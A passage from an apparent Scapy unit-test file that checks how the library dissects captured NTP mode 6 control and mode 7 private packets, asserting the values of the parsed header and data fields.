precision=-24, rootdelay=0.000, rootdisp=0.000,\\r\\nrefid=INIT, reftime=0x00000000.00000000, rec=0x00000000.00000000,\\r\\nreach=0x0, unreach=5, hmode=1, pmode=0, hpoll=6, ppoll=10, headway=62,\\r\\nflash=0x1200, keyid=1, offset=0.000, delay=0.000, dispersion=15937.500,\\r\\njitter=0.000, xleave=0.240,\\r\\nfiltdelay= 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00,\\r\\nfiltoffset= 0.00 0.00 0.00 0.00 '\np = NTP(s)\nassert isinstance(p, NTPControl)\nassert p.version == 2\nassert p.mode == 6\nassert p.response == 1\nassert p.err == 0\nassert p.more == 1\nassert p.op_code == 2\nassert p.sequence == 18\nassert isinstance(p.status, NTPPeerStatusPacket)\nassert p.status.configured == 1\nassert p.status.auth_enabled == 1\nassert p.status.authentic == 0\nassert p.status.reachability == 0\nassert p.status.peer_sel == 0\nassert p.status.peer_event_counter == 1\nassert p.status.peer_event_code == 1\nassert p.association_id == 64655\nassert p.offset == 0\nassert p.count == 468\nassert p.data == b'srcadr=192.168.122.1, srcport=123, dstadr=192.168.122.100, dstport=123,\\r\\nleap=3, stratum=16, precision=-24, rootdelay=0.000, rootdisp=0.000,\\r\\nrefid=INIT, reftime=0x00000000.00000000, rec=0x00000000.00000000,\\r\\nreach=0x0, unreach=5, hmode=1, pmode=0, hpoll=6, ppoll=10, headway=62,\\r\\nflash=0x1200, keyid=1, offset=0.000, delay=0.000, dispersion=15937.500,\\r\\njitter=0.000, xleave=0.240,\\r\\nfiltdelay= 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00,\\r\\nfiltoffset= 0.00 0.00 0.00 0.00 '\n\n\n= NTP Control (mode 6) - CTL_OP_READVAR (3) - response (2nd packet)\ns = b'\\xd6\\x82\\x00\\x12\\xc0\\x11\\xfc\\x8f\\x01\\xd4\\x00i0.00 0.00 0.00 0.00,\\r\\nfiltdisp= 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00\\r\\n'\np = NTP(s)\nassert isinstance(p, NTPControl)\nassert p.version == 2\nassert p.mode == 6\nassert p.response == 1\nassert p.err == 0\nassert p.more == 0\nassert p.op_code == 2\nassert p.sequence == 18\nassert isinstance(p.status, NTPPeerStatusPacket)\nassert p.association_id == 64655\nassert p.offset == 468\nassert p.count == 105\nassert p.data == b'0.00 0.00 0.00 0.00,\\r\\nfiltdisp= 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00\\r\\n'\n\n\n= NTP Control (mode 6) - CTL_OP_READVAR (4) - request\ns = b'\\x16\\x02\\x00\\x13\\x00\\x00s\\xb5\\x00\\x00\\x00\\x0btest1,test2\\x00\\x00\\x00\\x00\\x01=\\xc2;\\xc7\\xed\\xb9US9\\xd6\\x89\\x08\\xc8\\xaf\\xa6\\x12'\np = NTP(s)\nassert isinstance(p, NTPControl)\nassert p.version == 2\nassert p.mode == 6\nassert p.response == 0\nassert p.err == 0\nassert p.more == 0\nassert p.op_code == 2\nassert p.data == b\"test1,test2\"\nassert p.authenticator.key_id == 1\nassert bytes_hex(p.authenticator.dgst) == b'3dc23bc7edb9555339d68908c8afa612'\n\n\n= NTP Control (mode 6) - CTL_OP_READVAR (5) - response\ns = b'\\xd6\\xc2\\x00\\x13\\x05\\x00s\\xb5\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x97(\\x02I\\xdb\\xa0s8\\xedr(`\\xdbJX\\n'\np = NTP(s)\nassert isinstance(p, NTPControl)\nassert p.version == 2\nassert p.mode == 6\nassert p.response == 1\nassert p.err == 1\nassert p.more == 0\nassert p.op_code == 2\nassert not p.data\nassert p.authenticator.key_id == 1\nassert bytes_hex(p.authenticator.dgst) == b'97280249dba07338ed722860db4a580a'\n\n\n= NTP Control (mode 6) - CTL_OP_WRITEVAR (1) - request\ns = b'\\x16\\x03\\x00\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0btest1,test2\\x00\\x00\\x00\\x00\\x01\\xaf\\xf1\\x0c\\xb4\\xc9\\x94m\\xfcM\\x90\\tJ\\xa1p\\x94J'\np = NTP(s)\nassert isinstance(p, NTPControl)\nassert p.version == 2\nassert p.mode == 6\nassert p.response == 0\nassert p.err == 0\nassert p.more == 0\nassert p.op_code == 3\nassert p.data == b\"test1,test2\"\nassert p.authenticator.key_id == 1\nassert bytes_hex(p.authenticator.dgst) == b'aff10cb4c9946dfc4d90094aa170944a'\n\n\n= NTP Control (mode 6) - CTL_OP_WRITEVAR (2) - response\ns = b'\\xd6\\xc3\\x00\\x11\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x80z\\x80\\xfb\\xaf\\xc4pg\\x98S\\xa8\\xe5xe\\x81\\x1c'\np = NTP(s)\nassert isinstance(p, NTPControl)\nassert p.version == 2\nassert p.mode == 6\nassert p.response == 1\nassert p.err == 1\nassert p.more == 0\nassert p.op_code == 3\nassert hasattr(p, 'status')\nassert isinstance(p.status, NTPErrorStatusPacket)\nassert p.status.error_code == 5\nassert not p.data\nassert p.authenticator.key_id == 1\nassert bytes_hex(p.authenticator.dgst) == b'807a80fbafc470679853a8e57865811c'\n\n\n= NTP Control (mode 6) - CTL_OP_CONFIGURE (1) - request\ns = b'\\x16\\x08\\x00\\x16\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0ccontrolkey 1\\x00\\x00\\x00\\x01\\xea\\xa7\\xac\\xa8\\x1bj\\x9c\\xdbX\\xe1S\\r6\\xfb\\xef\\xa4'\np = NTP(s)\nassert isinstance(p, NTPControl)\nassert p.version == 2\nassert p.mode == 6\nassert p.response == 0\nassert p.err == 0\nassert p.more == 0\nassert p.op_code == 8\nassert p.count == 12\nassert p.data == b'controlkey 1'\nassert p.authenticator.key_id == 1\nassert bytes_hex(p.authenticator.dgst) == b'eaa7aca81b6a9cdb58e1530d36fbefa4'\n\n\n= NTP Control (mode 6) - CTL_OP_CONFIGURE (2) - response\ns = b'\\xd6\\x88\\x00\\x16\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x12Config Succeeded\\r\\n\\x00\\x00\\x00\\x00\\x00\\x01\\xbf\\xa6\\xd8_\\xf9m\\x1e2l)<\\xac\\xee\\xc2\\xa59'\np = NTP(s)\nassert isinstance(p, NTPControl)\nassert p.version == 2\nassert p.mode == 6\nassert p.response == 1\nassert p.err == 0\nassert p.more == 0\nassert p.op_code == 8\nassert p.count == 18\nassert p.data == b'Config Succeeded\\r\\n'\nassert p.authenticator.key_id == 1\nassert bytes_hex(p.authenticator.dgst) == b'bfa6d85ff96d1e326c293caceec2a539'\n\n\n= NTP Control (mode 6) - CTL_OP_SAVECONFIG (1) - request\ns = b'\\x16\\t\\x00\\x1d\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0fntp.test.2.conf\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xc9\\xfb\\x8a\\xbe<`_\\xfa6\\xd2\\x18\\xc3\\xb7d\\x89#'\np = NTP(s)\nassert isinstance(p, NTPControl)\nassert p.version == 2\nassert p.mode == 6\nassert p.response == 0\nassert p.err == 0\nassert p.more == 0\nassert p.op_code == 9\nassert p.count == 15\nassert p.data == b'ntp.test.2.conf'\nassert p.authenticator.key_id == 1\nassert bytes_hex(p.authenticator.dgst) == b'c9fb8abe3c605ffa36d218c3b7648923'\n\n\n= NTP Control (mode 6) - CTL_OP_SAVECONFIG (2) - response\ns = b\"\\xd6\\x89\\x00\\x1d\\x00\\x00\\x00\\x00\\x00\\x00\\x00*Configuration saved to 'ntp.test.2.conf'\\r\\n\\x00\\x00\\x00\\x00\\x00\\x012\\xc2\\xbaY\\xc53\\xfe(\\xf5P\\xe5\\xa0\\x86\\x02\\x95\\xd9\"\np = NTP(s)\nassert isinstance(p, NTPControl)\nassert p.version == 2\nassert p.mode == 6\nassert p.response == 1\nassert p.err == 0\nassert p.more == 0\nassert p.op_code == 9\nassert p.count == 42\nassert p.data == b\"Configuration saved to 'ntp.test.2.conf'\\r\\n\"\nassert p.authenticator.key_id == 1\nassert bytes_hex(p.authenticator.dgst) == b'32c2ba59c533fe28f550e5a0860295d9'\n\n\n= NTP Control (mode 6) - CTL_OP_REQ_NONCE (1) - request\ns = b'\\x16\\x0c\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPControl)\nassert p.version == 2\nassert p.mode == 6\nassert p.response == 0\nassert p.err == 0\nassert p.more == 0\nassert p.op_code == 12\nassert p.data == b''\nassert not p.authenticator\n\n\n= NTP Control (mode 6) - CTL_OP_REQ_NONCE (2) - response\ns = b'\\xd6\\x8c\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00 nonce=db4186a2e1d9022472e24bc9\\r\\n'\np = NTP(s)\nassert isinstance(p, NTPControl)\nassert p.version == 2\nassert p.mode == 6\nassert p.response == 1\nassert p.err == 0\nassert p.more == 0\nassert p.op_code == 12\nassert p.data == b'nonce=db4186a2e1d9022472e24bc9\\r\\n'\nassert not p.authenticator\n\n\n= NTP Control (mode 6) - CTL_OP_READ_MRU (1) - request\ns = b'\\x16\\n\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00(nonce=db4186a2e1d9022472e24bc9, frags=32'\np = NTP(s)\nassert isinstance(p, NTPControl)\nassert p.version == 2\nassert p.mode == 6\nassert p.response == 0\nassert p.err == 0\nassert p.op_code == 10\nassert p.count == 40\nassert p.data == b'nonce=db4186a2e1d9022472e24bc9, frags=32'\nassert not p.authenticator\n\n= NTP Control (mode 6) - CTL_OP_READ_MRU (2) - response\ns = b'\\xd6\\x8a\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe9nonce=db4186a2e2073198b93c6419, addr.0=192.168.122.100:123,\\r\\nfirst.0=0xdb418673.323e1a89, last.0=0xdb418673.323e1a89, ct.0=1,\\r\\nmv.0=36, rs.0=0x0, WWQ.0=18446744073709509383, now=0xdb4186a2.e20ff8f4,\\r\\nlast.newest=0xdb418673.323e1a89\\r\\n\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPControl)\nassert p.version == 2\nassert p.mode == 6\nassert p.response == 1\nassert p.err == 0\nassert p.op_code == 10\nassert p.count == 233\nassert p.data == b'nonce=db4186a2e2073198b93c6419, addr.0=192.168.122.100:123,\\r\\nfirst.0=0xdb418673.323e1a89, last.0=0xdb418673.323e1a89, ct.0=1,\\r\\nmv.0=36, rs.0=0x0, WWQ.0=18446744073709509383, now=0xdb4186a2.e20ff8f4,\\r\\nlast.newest=0xdb418673.323e1a89\\r\\n'\nassert not p.authenticator\n\n############\n############\n+ NTP Private (mode 7) tests\n\n= NTP Private (mode 7) - error - Dissection\ns = b'\\x97\\x00\\x03\\x1d@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 29\nassert p.err == 4\nassert p.nb_items == 0\nassert p.data_item_size == 0\n\n\n= NTP Private (mode 7) - REQ_PEER_LIST (1) - request\ns = b'\\x17\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 0\nassert p.nb_items == 0\nassert p.data_item_size == 0\n\n\n= NTP Private (mode 7) - REQ_PEER_LIST (2) - response\ns = b'\\x97\\x00\\x03\\x00\\x00\\x01\\x00 \\x7f\\x7f\\x01\\x00\\x00{\\x03\\x83\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 0\nassert p.nb_items == 1\nassert p.data_item_size == 32\nassert type(p.data[0]) == NTPInfoPeerList\nassert p.data[0].addr == \"127.127.1.0\"\nassert p.data[0].port == 123\n\n\n= NTP Private (mode 7) - REQ_PEER_INFO (1) - request\ns = b'\\x17\\x00\\x03\\x02\\x00\\x01\\x00 \\xc0\\xa8zf\\x00{\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 2\nassert p.nb_items == 1\nassert p.data_item_size == 32\nassert isinstance(p.req_data[0], NTPInfoPeerList)\nassert p.req_data[0].addr == \"192.168.122.102\"\nassert p.req_data[0].port == 123\n\n\n= NTP Private (mode 7) - REQ_PEER_INFO (2) - response\ns = b'\\x97\\x00\\x03\\x02\\x00\\x01\\x01\\x18\\xc0\\xa8zf\\xc0\\xa8ze\\x00{\\x01\\x03\\x01\\x00\\x10\\x06\\n\\xea\\x04\\x00\\x00\\xaf\"\\x00\"\\x16\\x04\\xb3\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00INIT\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x82\\x9d\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdb<\\x8d\\xc5\\xde\\x7fB\\x89\\xdb<\\x8d\\xc5\\xde\\x7fB\\x89\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x00\\x00\\x00\\x00\\x00\\x03\\xfd\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 2\nassert isinstance(p.data[0], NTPInfoPeer)\nrepr(p.data[0])\nassert p.data[0].dstaddr == \"192.168.122.102\"\nassert p.data[0].srcaddr == \"192.168.122.101\"\nassert p.data[0].srcport == 123\nassert p.data[0].associd == 1203\nassert p.data[0].keyid == 1\n\n\n= NTP Private (mode 7) - REQ_PEER_LIST_SUM (1) - request\ns = b'\\x17\\x00\\x03\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 1\n\n\n= NTP Private (mode 7) - REQ_PEER_LIST_SUM (2) - response (1st packet)\ns = b'\\xd7\\x00\\x03\\x01\\x00\\x06\\x00H\\n\\x00\\x02\\x0f\\xc0\\x00\\x02\\x01\\x00{\\x10\\x06\\n\\x00\\x01\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\xfd\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x02\\x0f\\xc0\\x00\\x02\\x02\\x00{\\x10\\x06\\n\\x00\\x01\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\xfd\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x02\\x0f\\xc0\\xa8d\\x01\\x00{\\x10\\x07\\n\\x00\\x01\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\xfd\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01eth0\\xc0\\xa8zg\\x00{\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x02\\x0f\\xc0\\xa8d\\x02\\x00{\\x10\\x07\\n\\x00\\x01\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\xfd\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xc0\\xa8zh\\x00{\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\n\\x00\\x02\\x0f\\xc0\\xa8d\\r\\x00{\\x10\\x07\\n\\x00\\x01\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\xfd\\xff\\x00\\x00\\x00\\x00\\x00{\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8zk\\x00{\\x01\\x01\\xc0\\xa8ze\\xc0\\xa8zf\\x00{\\x0b\\x06\\x07\\xf4\\x83\\x01\\x00\\x00\\x07\\x89\\x00\\x00\\x00\\x007\\xb1\\x00h\\x00\\x00o?\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8zm\\x00{\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 1\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 1\nassert (isinstance(x, NTPInfoPeerSummary) for x in p.data)\nassert p.data[0].srcaddr == \"192.0.2.1\"\n\n\n= NTP Private (mode 7) - REQ_PEER_LIST_SUM (3) - response (2nd packet)\ns = b'\\xd7\\x01\\x03\\x01\\x00\\x06\\x00H\\xc0\\xa8ze\\xc0\\xa8zg\\x00{\\x10\\x08\\n\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\xfd\\xff\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01eth1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8ze\\xc0\\xa8zg\\x00{\\x10\\x08\\n\\x00\\x11\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\xfd\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8ze\\xc0\\xa8zh\\x00{\\x10\\x08\\n\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\xfd\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01eth0\\xc0\\xa8zg\\x00{\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8ze\\xc0\\xa8zi\\x00{\\x10\\x07\\n\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\xfd\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xc0\\xa8zh\\x00{\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xc0\\xa8ze\\xc0\\xa8zj\\x00{\\x10\\x07\\n\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\xfd\\xff\\x00\\x00\\x00\\x00\\x00{\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8zk\\x00{\\x01\\x01\\xc0\\xa8ze\\xc0\\xa8zk\\x00{\\x10\\x07\\n\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\xfd\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8zm\\x00{\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\n\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 1\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 1\nassert (isinstance(x, NTPInfoPeerSummary) for x in p.data)\nassert p.data[0].srcaddr == \"192.168.122.103\"\n\n\n= NTP Private (mode 7) - REQ_PEER_LIST_SUM (3) - response (3rd packet)\ns = b'\\x97\\x02\\x03\\x01\\x00\\x02\\x00H\\xc0\\xa8ze\\xc0\\xa8zl\\x00{\\x10\\x07\\n\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\xfd\\xff\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01eth1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8ze\\xc0\\xa8zm\\x00{\\x10\\x07\\n\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\xfd\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\n\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 1\nassert (isinstance(x, NTPInfoPeerSummary) for x in p.data)\nassert p.data[0].srcaddr == \"192.168.122.108\"\n\n\n= NTP Private (mode 7) - REQ_PEER_STATS (1) - request\ns = b'\\x17\\x00\\x03\\x03\\x00\\x01\\x00 